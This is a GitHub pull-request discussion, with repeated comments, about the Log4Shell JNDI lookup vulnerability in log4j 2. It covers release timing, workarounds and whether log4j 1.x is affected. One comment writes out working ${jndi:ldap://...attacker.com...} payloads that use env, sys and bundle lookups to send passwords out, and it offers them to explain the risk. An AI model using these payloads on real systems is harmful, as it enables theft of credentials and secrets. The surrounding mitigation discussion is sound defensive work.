Restrict LDAP access via JNDI

Restricts access to LDAP via JNDI.

Is it a security vulneribity?

Is it a security vulnerability?

I think it is.
It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.

Is it a security vulnerability?

I think it is.
It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.

Oh so glad you show such appreciation for the work of volunteers...

Is it a security vulnerability?

I think it is.
It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.

Oh so glad you show such appreciation for the work of volunteers...

I wonder when log4j 2.15 will be officially released? It's hard to imagine that the craziest vulnerability this year has not been solved in the release half a month after it was reported.
Its impact is unimaginable. Countless services using log4j2 are exposed to the risk of being attacked, and the way to attack them is surprisingly simple. Even now I dare not open my minecraft server, because any member can attack it if they want -  he/she can easily control my server by sending a text through the chat bar.
Is there anyone dealing with this matter urgently? It's really incomprehensible that I didn't see Apache give any emergency warning under such a serious problem.

Is it a security vulnerability?

I think it is.
It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.

Oh so glad you show such appreciation for the work of volunteers...

@garydgregory
I wonder when log4j 2.15 will be officially released? It's hard to imagine that the craziest vulnerability this year has not been solved in the release half a month after it was reported.
Its impact is unimaginable. Countless services using log4j2 are exposed to the risk of being attacked, and the way to attack them is surprisingly simple. Even now I dare not open my minecraft server, because any member can attack it if they want - he/she can easily control my server by sending a text through the chat bar.
Is there anyone dealing with this matter urgently? It's really incomprehensible that I didn't see Apache give any emergency warning under such a serious problem.

+1, and we are in desperate need of a CVE and security advisory to be announced asap. This could affect hundreds of thousands, if not millions, of services actively running on the internet.

Your patience will soon be rewarded...

Also, if this matters to you so much, why not show it with a donation to the Apache Software Foundation https://www.apache.org/foundation/contributing.html or this project's main contributor https://github.com/sponsors/rgoers ?

Is it a security vulnerability?

I think it is.
It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.

Oh so glad you show such appreciation for the work of volunteers...

@garydgregory
I wonder when log4j 2.15 will be officially released? It's hard to imagine that the craziest vulnerability this year has not been solved in the release half a month after it was reported.
Its impact is unimaginable. Countless services using log4j2 are exposed to the risk of being attacked, and the way to attack them is surprisingly simple. Even now I dare not open my minecraft server, because any member can attack it if they want - he/she can easily control my server by sending a text through the chat bar.
Is there anyone dealing with this matter urgently? It's really incomprehensible that I didn't see Apache give any emergency warning under such a serious problem.

+1, and we are in desperate need of a CVE and security advisory to be announced asap. This could affect hundreds of thousands, if not millions, of services actively running on the internet.
We of course appreciate the efforts from contributors, but overall this is a major security issue that needs a new version release and a security advisory.

My understanding is that the procedure is to hold off on announcing the vulnerability until a patch is available. (See https://www.apache.org/security/).
For background:
The team is taking it seriously. As Gary said, we are all volunteers working on this in our spare time. We are also in different time zones so communication is not instantaneous. If you think things can be improved, that's great! We need more people like you and I would encourage you to get involved!
We are in the process of getting a release out with the fix. During review, some security experts found a new vulnerability in our fix (a way to bypass the fix). This has been addressed and we are now in the process of reviewing the updated 2nd release candidate.
Usually (as per ASF rules) the team should wait 72 hours after creating a release candidate before publishing the release to give the community enough time to review and cast their votes. We are building consensus to shorten that window for this particular release, given its urgency.

You can't ask everybody to upgrade to 2.15 at once. The formatMsgNoLookups option is available to log4j ≥ 2.10 only.
Thanks to LOG4J2-703, I think it's quite safe to remove org/apache/logging/log4j/core/lookup/JndiLookup.class from log4j-core-*.jar as a workaround. Just zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class to disable ${jndi:...} functionality completely.
I posted all log4j2-core jar with JndiLookup.class removed at https://github.com/zhangyoufu/log4j2-without-jndi for reference. Local test looks promising for me.

Update: the vote for log4j-2.15.0 passed and the release is in progress.
I can see the log4j web site reflecting the log4j 2.15.0 release, but I cannot see the 2.15.0 artifacts on Maven Central yet at this moment. It may take a few hours before mirror servers are synchronized and the artifacts become available for you.
An announcement email for the release will be sent out soon (within 24 hours - we usually wait some time for the mirror servers to catch up).
Thank you @zhangyoufu for the suggested workaround to remove the JndiLookup.class class for older versions of log4j! The team likes your idea and we will include the workaround you suggested in the release notes and announcement email. Many thanks!

@remkop thanks for your great work 👍
I come from the Apache APISIX community, and we can intercept this security vulnerability at the API gateway level to provide some help. I wonder if there are such regular expression rules? thanks

Hi @rgoers, is log4j 1.x vulnerable?

Hi @rgoers, is log4j 1.x vulnerable?

Hi @yuezk, as far as I can tell, log4j 1.x does not support lookups. I also could not find any other reference to JNDI in the log4j 1.x source code. So, no guarantees but it looks like 1.x is not impacted by this vulnerability.

As documented here:
https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/net/JMSAppender.html
Gary
On Thu, Dec 9, 2021, 20:30 Gary Gregory @.***> wrote:

We need to look at the log4j 1 JMS Appender which I thought had at least
programmatic support for JNDI.
Gary
On Thu, Dec 9, 2021, 20:26 Remko Popma @.***> wrote:

Hi @rgoers https://github.com/rgoers, is log4j 1.x vulnerable?
Hi @yuezk https://github.com/yuezk, as far as I can tell, log4j 1.x
does not support lookups. I also could not find any other reference to JNDI
in the log4j 1.x source code
http://svn.apache.org/viewvc/logging/log4j/trunk/. So, no guarantees
but it looks like 1.x is not impacted by this vulnerability.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAJB6NYD7R35WOHFKBO3ILLUQFJLHANCNFSM5JA3ZEGA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Is this fix insufficient in the context of an SSRF vulnerability? IE. can an attacker still make malicious requests that abuse this from localhost if another local service has an SSRF vulnerability?

I provide a patch library to solve this vulnerability (disable JNDI lookup): Glavo/log4j-patch
It provides an empty JndiLookup, and you can disable JNDI lookup by simply attaching it to the front of the classpath.
I've publish it to the Maven repository (It's JitPack for the time being, and it's preparing to release it to Maven Central), perhaps adding it as the first dependency will solve the problem (To be tested).

Quick Question, there is a remote code execution vulnerability from what I understand. From what I can tell it is somehow related to this. Does anyone know if this the cause, from what I can tell it is.

Quick Question, there is a remote code execution vulnerability in Minecraft. From what I can tell it is somehow related to this. Does anyone know if this the cause?

Yes.

Glavo/log4j-patch has been published to Maven Central. If anyone cannot update to 2.15, he/she only needs to add log4j-patch as the first dependency, and JNDI will be disabled.
Maven:
<dependency>
    <groupId>org.glavo</groupId>
    <artifactId>log4j-patch</artifactId>
    <version>1.0</version>
</dependency>

Gradle:
dependencies {
    implementation 'org.glavo:log4j-patch:1.0'
}

Gradle Kotlin DSL:
dependencies {
    implementation("org.glavo:log4j-patch:1.0")
}

Hi @rgoers, is log4j 1.x vulnerable?

Hi @yuezk, as far as I can tell, log4j 1.x does not support lookups. ~I also could not find any other reference to JNDI in the log4j 1.x source code. So, no guarantees but it looks like 1.x is not impacted by this vulnerability.~ CORRECTION: log4j 1.x contains a JMS Appender which can use JNDI. So I would say that, yes, log4j 1.x is also impacted by this vulnerability (Thank you @garydgregory for pointing this out).
Note that log4j 1.x is End of Life and has other security vulnerabilities that will not be fixed. ~So we do not recommend using log4j 1.x as a way to avoid this security vulnerability.~ The recommendation is to upgrade to 2.15.0.

Do anyone know if I depends on the following 2: - org.apache.logging.log4j:log4j-api - org.apache.logging.log4j:log4j-to-slf4jBut without dependency on - org.apache.logging.log4j:log4j-corein this situation, is this safe from this RCE? Thanks.Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)reply
Do anyone know if I depends on the following 2: - org.apache.logging.log4j:log4j-api - org.apache.logging.log4j:log4j-to-slf4jBut without dependency on - org.apache.logging.log4j:log4j-corein this situation, is this safe from this RCE? Thanks.Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)reply

Do anyone know if I depends on the following 2: - org.apache.logging.log4j:log4j-api - org.apache.logging.log4j:log4j-to-slf4jBut without dependency on - org.apache.logging.log4j:log4j-corein this situation, is this safe from this RCE? Thanks.Edit, This may affect both log4j 2.x and log4j 1.x (see comments bellow, thanks.)reply

agwa 1 hour ago | parent | next [–]> By the way. This only affect log4j 2.x (https://github.com/apache/logging-log4j2). the log4j 1.x (https://github.com/apache/log4j) is not affected.That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomme... saysreply

agwa 1 hour ago | parent | next [–]> By the way. This only affect log4j 2.x (https://github.com/apache/logging-log4j2). the log4j 1.x (https://github.com/apache/log4j) is not affected.That's not what https://github.com/apache/logging-log4j2/pull/608#issuecomme... saysreply

pqyzwbq 1 hour ago | root | parent | next [–]OK, thanks, didn't notice this when I read it.reply

pqyzwbq 1 hour ago | root | parent | next [–]OK, thanks, didn't notice this when I read it.reply

Link:https://news.ycombinator.com/item?id=29504755
Which description is correct ?

@remkop Which description is correct ?

@linux-ops You are asking me? Well, in my totally objective, completely unbiased opinion, there is no doubt that my comment is correct. ;-) 😜  But it is possible that others have a different opinion.
Anyway, jokes aside, I understand that the HackerNews discussion got a bit confusing. However, my earlier comment does mention  the reason why we believe Log4j 1.x is impacted: it contains a JMS Appender which can use JNDI. Also note that Log4j 1.x is End of Life and has other security vulnerabilities that will not be fixed.
To summarize: Log4j 1.x is also impacted, and we recommend using Log4j 2.15.0 instead.
To answer your first question:
I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in log4j-core.)

@remkop , thanks for your reply. Just want to make it more clear, because many people reach this issue mainly for the "JNDI lookup"  CVE, so, for log4j 1.x, although it contains JMS Appender. But if the "JMS Appender" is not used for log4j 1.x (the usage of JMS Appender is rare), then, it  should be not affected by this vulnerable RCE, is this correct?

To summarize: Log4j 1.x is also impacted, and we recommend using Log4j 2.15.0 instead.

I guess the RCE can be exploited by using a message which has a JNDI lookup which, is not possible in log4j 1.x as it doesn't support lookups. And JMS Appender can be added to logger either programmatically or from configuration couldn't quite understand how its affected.  If the developer leave it to add the details like JNDI URL (JMS Appender from input, isn't it the issue of application instead of JMS appender ? But welcoming adding the support of allow/disallowing some of the JNDI protocols as well as hosts.

I saw 2.15.0 was uploaded to the maven central:
https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-api/2.15.0/
Could anyone point out if this is the latest RC2 version?

@remkop Hi! Thanks for your work and the community response.
Do you have any plans to backport the response to this vulnerability to older versions of the 2.x?

I saw 2.15.0 was uploaded to the maven central:
https://repo.maven.apache.org/maven2/org/apache/logging/log4j/log4j-api/2.15.0/
Could anyone point out if this is the latest RC2 version?

Yes, the released version 2.15.0 is 2.15.0-rc2.
(The web site has an older date (2021-12-06) because it was generated first and not re-generated while release candidates RC1 and RC2 were being reviewed.)

@remkop , thanks for your reply. Just want to make it more clear, because many people reach this issue mainly for the "JNDI lookup" CVE, so, for log4j 1.x, although it contains JMS Appender. But if the "JMS Appender" is not used for log4j 1.x (the usage of JMS Appender is rare), then, it should be not affected by this vulnerable RCE, is this correct?

To summarize: Log4j 1.x is also impacted, and we recommend using Log4j 2.15.0 instead.

@Baoqi Okay, let me be very clear: Log4j 1.x became End of Life 6 years ago! Anyone who wants to continue using it can do their own risk assessment. :-)

@remkop Thanks for clarifying on the log4j 1.x.  One of my old application is still using log4j-1.2.17 and few of my applications are using log4j-over-slf4j.  But none of them have any dependencies on the log4j-core.  So as you had mentioned here,
I believe that applications that use log4j-api with log4j-to-slf4j, without using log4j-core, are not impacted by this vulnerability. (Because the lookup and JNDI implementations are in log4j-core.)
I am not making any changes to my application - Not upgrading it to the 2.15.0 or not adding any system-properties (log4j2.formatMsgNoLookups=true) to overcome this vulnerability as my application will not be impacted.
Kindly correct me if I am wrong.

https://www.cve.org/CVERecord?id=CVE-2021-44228
https://logging.apache.org/log4j/2.x/security.html

@Baoqi so this CVE impact log4j v 1.xx only if app is using JMSAddapter or not?

@Baoqi so this CVE impact log4j v 1.xx only if app is using JMSAddapter in log4j configuration(log4j.properties) or not?

@sysmat   I don't have answer for this, as I'm not familiar with log4j.  Based on my limited knowledge, the  well-known explode steps for the CVE-2021-44228 only work for log4j 2.x (before 2.15.0). But can not explode against log4j 1.2.17.  So, it may not be affected.  But, as mentioned by remkop:  "Also note that Log4j 1.x is End of Life and has other security vulnerabilities that will not be fixed.",   so,  log4j 1.2.17 may have other known or unknown vulnerabilities.

https://github.com/LoliKingdom/NukeJndiLookupFromLog4j is nearly live on CurseForge (modding platform for Minecraft), it'll target any clients/servers running with MinecraftForge below 1.13. It's a soft fix that doesn't hard remove any files. However, there also is a Java App in the repository that allows you to remove JdniLookup classes from jars or zips, similar to @Glavo's deployment.

Hi there.
Would setting the JVM property com.sun.jndi.ldap.object.trustURLCodebase = false mitigate this ?
Thanks.

Hi there. Would setting the JVM property com.sun.jndi.ldap.object.trustURLCodebase = false mitigate this ? Thanks.

It is false by default.
Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".

Hi there. Would setting the JVM property com.sun.jndi.ldap.object.trustURLCodebase = false mitigate this ? Thanks.

It is false by default.
Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against remote code execution by defaulting "com.sun.jndi.rmi.object.trustURLCodebase" and "com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".

And 8u191 contains an LDAPS fix.

Yes, Java 8u121 (see
https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
protects against remote code execution by defaulting
"com.sun.jndi.rmi.object.trustURLCodebase" and
"com.sun.jndi.cosnaming.object.trustURLCodebase" to "false".
Also 8u191 fixes a timeout issue in LDAPS.
Gary
On Fri, Dec 10, 2021, 06:11 peturthors @.***> wrote:

Hi there.
Would setting the JVM property com.sun.jndi.ldap.object.trustURLCodebase
= false mitigate this ?
Thanks.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/apache/logging-log4j2/pull/608#issuecomment-990879257,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAJB6N524IMFURJPP6LAU6LUQHN5XANCNFSM5JA3ZEGA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

@garydgregory is there a safe Java 11 version?

@garydgregory is there a safe Java 11 version?

Check the release notes for 11.0.1.

Can't find much info about it.

Can't find much info about it.

grep-ing  through the source code for jdk-11.0.1 we get
src/java.naming/com/sun/jndi/ldap/VersionHelper.java:        PrivilegedAction<String> act = src/java.naming/com/sun/jndi/ldap/VersionHelper.java:                () -> System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
and
src/jdk.naming.rmi/com/sun/jndi/rmi/registry/RegistryContext.java:        PrivilegedAction<String> act = () -> System.getProperty( src/jdk.naming.rmi/com/sun/jndi/rmi/registry/RegistryContext.java:            "com.sun.jndi.rmi.object.trustURLCodebase", "false");
So I'm guessing jdk-11.0.1 and later set these properties to false by default.

@peturthors I don't have much knowledge about this issue, so instead of guessing and grep-ing the source code, I was searching for official release notes.

@garydgregory is there a safe Java 11 version?

Check the release notes for 11.0.1.

https://www.oracle.com/java/technologies/javase/11-0-1-relnotes.html

Can't find much info about it.

grep-ing through the source code for jdk-11.0.1 we get src/java.naming/com/sun/jndi/ldap/VersionHelper.java: PrivilegedAction<String> act = () -> System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); and src/jdk.naming.rmi/com/sun/jndi/rmi/registry/RegistryContext.java: PrivilegedAction<String> act = () -> System.getProperty( "com.sun.jndi.rmi.object.trustURLCodebase", "false");  So I'm guessing jdk-11.0.1 and later set these properties to false by default. Edit: formatting

any easy way to check the default value of a JRE?
like this:
System.out.println("CVE check for com.sun.jndi.ldap.object.trustURLCodebase: " + prop.getProperty("com.sun.jndi.ldap.object.trustURLCodebase"));

see my Q here: https://stackoverflow.com/q/70308808/1747983

Does anyone know if removing the JndiLookup class is enough?
On the Apache Log4j2 page it's stated to:

Remove the JndiLookup and JndiManager classes from the log4j-core jar.

(emphasis mine)
However, the only place where I've seen that being stated is on that page.
So - is it required to remove the JndiManager class as well?

JndiManager is used by the other JNDI integration points. JndiLookup is what's exploitable in a log message, though if you're using JNDI in your configuration, a man in the middle attacker or an attacker with control over the destination URL can configure the LDAP server to return code that can be exploited.

For those who are looking for a JRE/JDK version to mitigate the problem, please don't! CVE-2021-44228 creates a large attack surface depending on the imagination of the attacker and an RCE is just one of them. I would strongly advise you to avoid having a false conclusion by relying on a JVM feature targeting a certain attack vector; there are more vectors. Simply either bump log4j-core to 2.15.0 or set log4j2.formatMsgNoLookups=true system property.

Hi Team,
I know a lot of local Maven package managers don't pull the RC version of a release automatically (Nexus etc), is there a chance we can push RC2 to a stable release at this point? I'm assuming half the world is already using it.

RC2 was promoted to 2.15.0 last night. It should already be mirrored to Maven Central.

2.15.0 is already released.
On Fri, Dec 10, 2021, 14:43 Ali Mosajjal @.***> wrote:

Hi Team,
I know a lot of local Maven package managers don't pull the RC version of
a release automatically (Nexus etc), is there a chance we can push RC2 to a
stable release at this point? I'm assuming half the world is already using
it.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/apache/logging-log4j2/pull/608#issuecomment-991246265,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAJB6N7T6S4R4KRZ4FL24B3UQJJ45ANCNFSM5JA3ZEGA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

Ah cool thanks for confirming. The tag in Github repo doesn't show that

I think this fix has been bypassed and that the latest release is still vulnerable... Haven't verified this for myself yet, just reporting what I just found

https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/net/JMSAppender.html

This presumably requires configuring the appending though, so a simple FileAppender ConsoleAppender wouldn't be vulnerable?
There's no lookup expansion in 1.x, right?

I think this fix may have been bypassed and that the latest release is still vulnerable... Haven't verified this for myself yet, just reporting what I just found

No, it doesn't work against 2.15.0:

Take the example as warning not to try re-enabling the disabled feature!

I'd also like to stress, that it is not sufficient to mitigate this vulnerability by using a JRE/JDK version which prevents the RCE, nor should you rely solely on your firewalls dropping outgoing TCP traffic.
The reason is, that the vulnerability also has the potential for leaking sensitive information via the LDAP request or via DNS.
Variable substition in the payload can be nested and one can use the "sys", "env" or "bundle" keywords to access sensitive data, which than is either used in the LDAP URL path or in the hostname.
Example for exfiltrating an environment variable containing a password used in the URL path
${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD}
This could be resolved to ldap://www.attacker.com:1389/mysecretpassword for example.
Example for exfiltrating an environment variable containing a password in the hostname part:
${jndi:ldap://${env:MYSQL_PASSWORD}.attacker.com:1389/a}
This could be resolved to ldap://mysecretpassword.attacker.com:1389/a for example
Of course this will fail if certain special characters are used in the password.
Example for exfiltrating the property "spring.datasource.password" from the application.properties file of a spring boot application:
${jndi:ldap://${bundle:application:spring.datasource.password}.attacker.com:1389/a}
Example for exfiltrating a system property that was passed through command line:
${jndi:ldap://${sys:db.password}.attacker.com:1389/a}

When there are literally millions of log4j 1.x users out there, can you stop toying around?
There is no lookup expansion in log4j 1.x and it does not suffer from  CVE-2021-44228.

When there are literally millions of log4j 1.x users out there, can you stop toying around?
There is no lookup expansion in log4j 1.x and it does not suffer from CVE-2021-44228. How hard is it to admit?

Hi @ceki, thank you for clarifying that Log4j 1.x is not impacted by this vulnerability. I updated my previous comments by linking to your analysis on Twitter, happy to link to other sources as well.

The latest Java versions are most likely still vulnerable to RCE. While they prevent loading classes from remote sources by default (trustURLCodebase property mentioned in the comments above), they still permit regular deserialization of classes on the classpath of the application. It has been shown multiple times in the past that JDK classes and classes from external libraries can be combined to create so called deserialization "gadget chains", which allow RCE.
And even if for the libraries you are using no such gadget chain is publicly known, it is likely that it just has not been discovered or publicly disclosed yet.
Could the misleading statement suggesting that certain Java versions are not affected by RCE please be removed from the CVE entry description?

Also, if this matters to you so much, why not show it with a donation to ... or this project's main contributor https://github.com/sponsors/rgoers ?

Case of https://www.explainxkcd.com/wiki/index.php/2347:_Dependency ?

Glad this was prioritized after realizing the impact. Hats off. Keep up the good work.

@ceki @remkop - it is not exactly true that it doesn't suffer from lookup issue though.
If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "better" as it depends on configuration rather than user input

We build class like this：
package org.apache.logging.log4j.core.lookup;
public class JndiLookup {}
Then package as log4j-patch.jar.
We put log4j-patch.jar into {your jre path}/lib/ext/ , then we are not worried that this loophole will be introduced again in the future.

If the attacker can modify the config file on some system S, then that S can be assumed to be penetrated to a large extent.
If the attacker can modify log4j.properties, she she does not need to download malicious code, she can just as easily place malicious class files in the classpath and have them executed

@ceki @remkop - it is not exactly true that it doesn't suffer from lookup issue though.
If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222 - if you set TopicBindingName or TopicConnectionFactoryBindingName to something that JNDI can handle - for example "ldap://host:port/a" JNDI will do exactly the same thing it does for 2.x - so 1.x is vulnerable, just attack vector is "safer" as it depends on configuration rather than user input

If the attacker can modify log4j.properties (log4j 1.x), she she does not need to download malicious code, she can just as easily place malicious class files in the classpath and have them executed.
So, in a very strict sense there is a vulnerability in log4j 1.x but nothing close to log parameter induced RCE.

I agree with your sentiment, though I do see a difference between being able to modify properties in configuration file (to set target topic) versus being able to add class files - that would be a bit of a stretch

If the attacker can modify the config file on some system S, then S can be assumed to be already penetrated to a large extent.

I can't completely agree with this statement as I can see a whole number of use-cases where users can legitimately amend configuration or it's part for customization reasons..
Anyway just wanted to clarify the state of exploitation in 1.x to show how it is possible

How about a man in the middle? Are the LDAP URLs validated? TLS certificate?

Also, if this matters to you so much, why not show it with a donation to the Apache Software Foundation https://www.apache.org/foundation/contributing.html or this project's main contributor https://github.com/sponsors/rgoers ?

Haha, why get this issue exploded in December, holiday mood sir

I can't completely agree with this statement as I can see a whole number of use-cases where users can legitimately amend configuration or it's part for customization reasons..

You are right. There is a distinction between the ability to modify log4j config files of application A and the ability to modify the code of application A, with the latter requiring a different privilege.

Handing over control of an application's logging system to untrusted users is already handing over the keys.

When there are literally millions of log4j 1.x users out there, can you stop toying around?
There is no lookup expansion in log4j 1.x and it does not suffer from CVE-2021-44228. How hard is it to admit?

Hi @ceki, thank you for clarifying that Log4j 1.x is not impacted by this vulnerability. I updated my previous comments by linking to your analysis on Twitter, happy to link to other sources as well.

There are actually two vulnerabilities. The one outlined here and CVE-2021-44228. Log4j 1.x is not vulnerable to CVE-2021-44228. However, it is vulnerable to lesser JNDI injection exploits, that is to an attacker already having write access to its config file.

Handing over control of an application's logging system to untrusted users is already handing over the keys.

Yes, that is probably in many cases. However, one can imagine scenarios where there is an advantage to the attacker.

With this fix, can a log message still cause any side-effect at all? If yes, that seems rather dangerous since log messages are often attacker-controlled.

@GSPP that was resolved in 2.15 via https://github.com/apache/logging-log4j2/commit/001aaada7dab82c3c09cde5f8e14245dc9d8b454

We are using apache solr 8.6 version and we wan to update the version of log4j2 on your runtime classpath ( Due to Apache Solr affected by Apache Log4J CVE-2021-44228) .
Can you guide me how  to do update the log4j2 version in Solr 8.6?

@zhangyoufu @remkop the suggestion to

remove org/apache/logging/log4j/core/lookup/JndiLookup.class from log4j-core-*.jar as a workaround

is called out as an option for releases >=2.0-beta9 and <=2.10.0 on the Apache security blog, but it should work for every version, correct?
It's just that better mitigation options are available for 2.10.0+?

@zhangyoufu @remkop the suggestion to

remove org/apache/logging/log4j/core/lookup/JndiLookup.class from log4j-core-*.jar as a workaround

is called out as an option for releases >=2.0-beta9 and <=2.10.0 on the Apache security blog, but it should work for every version, correct? It's just that better mitigation options are available for 2.10.0+?

That is correct.

If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222

For those of us who are stuck with 1.x and paranoid, it looks like we could just comment-out this line here and repackage the 1.x release .jar:
https://github.com/apache/log4j/blob/trunk/src/main/java/org/apache/log4j/net/JMSAppender.java#L245
Thoughts?

@zhangyoufu @remkop the suggestion to

remove org/apache/logging/log4j/core/lookup/JndiLookup.class from log4j-core-*.jar as a workaround

is called out as an option for releases >=2.0-beta9 and <=2.10.0 on the Apache security blog, but it should work for every version, correct? It's just that better mitigation options are available for 2.10.0+?

Indeed, hence the way I worded that statement in the website. Removing JndiLookup.class protects you against CVE-2021-44228, though my advice to all Log4j users out there would be turn message lookups completely off.

Hello Team,
Re-reading through this long list of comments. I apologize for asking this again.

log4j 1.x should be safe as long as we do what exactly?
Any mitigation available as of now?

Please let me know.
Thanks
Sourabh

The official page with recommendations for mitigation is here: https://logging.apache.org/log4j/2.x/security.html
(There is work in progress to improve this text.)

Red Hat cannot issue a CVE for an ASF issue without following a process (that hasn't been followed).  Raising this with them.

If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222

For those of us who are stuck with 1.x and paranoid, it looks like we could just always throw here and repackage the 1.x release .jar: https://github.com/apache/log4j/blob/trunk/src/main/java/org/apache/log4j/net/JMSAppender.java#L245
Thoughts?

If you do that, the code won't compile... you'd need to replace that line with something else like a return null.

@remkop may I repeat the question by @sourabhsparkala:
How do I find out if a legacy application with log4j version 1 is vulnerable, i.e. how do I know that the app uses JNDI? What do I have to look for in the configuration?
Thanks a lot for your help.

Are lookups via ContextMap/ctx also fixed with this?
E.g. if something like this is used:
    <File name="Application" fileName="application.log">
      <PatternLayout>
        <pattern>$${ctx:requestUri}</pattern>
      </PatternLayout>
    </File>

or with a JSONLayout
            <JsonLayout complete="false" compact="true" properties="false" eventEol="true">
                <KeyValuePair key="requestUri" value="$${ctx:AUDIT.requestUri:-}"/>
            </JsonLayout>

I understand that context contains elements from other applications maybe, in this case passing the requestUri. It seems to be evaluated in the non-fixed versions, yet I'm unsure if this fix with 2.15.0 does also fix ctx based lookups?

@remkop Thank you very much. Just to clarify further: If my applications does not use any message queues / brokers, but simply uses log4j for writing to local log files, then it is very unlikely that JMSAppender is used, right? Is that correct? (I haven't heard of JMS before in my little J2EE legacy bubble.)
I also did a full text search on my project directory and could not find the substring appender anywhere.

@svdHero That sounds like you are not impacted by this vulnerability.

@remkop We are using apache solr 4 version in alfresco environment and we want to update the version of log4j2 .
Can you guide me how to do update the log4j2 version in Solr 4?

@remkop Thank you so much for all your help!

@remkop We are using apache solr 4 version in alfresco environment and we want to update the version of log4j2 .
Can you guide me how to do update the log4j2 version in Solr 4?

Delete your log4j-*2.* jar files and then add the same jar files from 2.15.0.

@remkop We are using apache solr 4 version in alfresco environment and we want to update the version of log4j2 .
Can you guide me how to do update the log4j2 version in Solr 4?

Delete your log4j-2. jar files and then add the same jar files from 2.15.0.

The problem is there used the 1.2.17 version of log4j,  and we need to override the implementation logic also :(

Log4J 1.2.17 is only (potentially) vulnerable if you choose to use the JMS Appender. If you are, you will have to migrate to Log4J2 / Logback.

Per @ceki on twitter:

Log4j 1.x does not offer a look up mechanism. Log4j 1.x sends an event encapsulating a string message to a JMS server. That is it. The attacker can supply whatever string he chooses but it remains a String. So not the same. At all.

https://twitter.com/ceki/status/1469449618316533762?s=20

@asokolov-flex
Log4J 1.2.17 is only (potentially) vulnerable if you choose to use the JMS Appender. If you are, you will have to migrate to Log4J2 / Logback.

If you use the JMS Appender AND you configure it with JNDI. If you configure logback with JMS and JNDI, I am guessing you'll have the same issue.

@philipwhiuk @garydgregory thanks a lot.

Thanks a lot for all of your efforts regarding this fix.
Does changing the log level to OFF also close the attack vector for Log4J 2.x?

Thanks a lot for all of your efforts regarding this fix.
Does changing the log level to OFF also close the attack vector for Log4J 2.x?

From our docs:
The set of built-in levels includes ALL, TRACE, DEBUG, INFO, WARN, ERROR, FATAL, and OFF. Log4j 2 also supports custom log levels. Another mechanism for getting more granularity is to use Markers instead. The OFF and ALL levels are not intended to be used on calls to the logging API. Specifying OFF in the configuration implies no logging events should match while specifying ALL would mean all events match, including custom events. However, OFF can be used on logging API calls in special cases where the event should always be logged regardless of the configuration. However, it is generally recommended that a Marker with a corresponding global Marker Filter be used instead.
See https://logging.apache.org/log4j/2.x/manual/architecture.html

@asokolov-flex
Log4J 1.2.17 is only (potentially) vulnerable if you choose to use the JMS Appender. If you are, you will have to migrate to Log4J2 / Logback.

If you use the JMS Appender AND you configure it with JNDI. If you configure logback with JMS and JNDI, I am guessing you'll have the same issue.

Apologies if this has been ans prior: re log4j 1.2.17, is it a certainty that the only appender with the issue is JMS?

Reading the documentations of Apache Log4J 1.x https://logging.apache.org/log4j/2.x/manual/appenders.html#JMSAppender, I see a parameter configuring the protocol to use in the JMS appender.

Parameter Name
Type
Default
Description

allowdLdapClasses
String
null
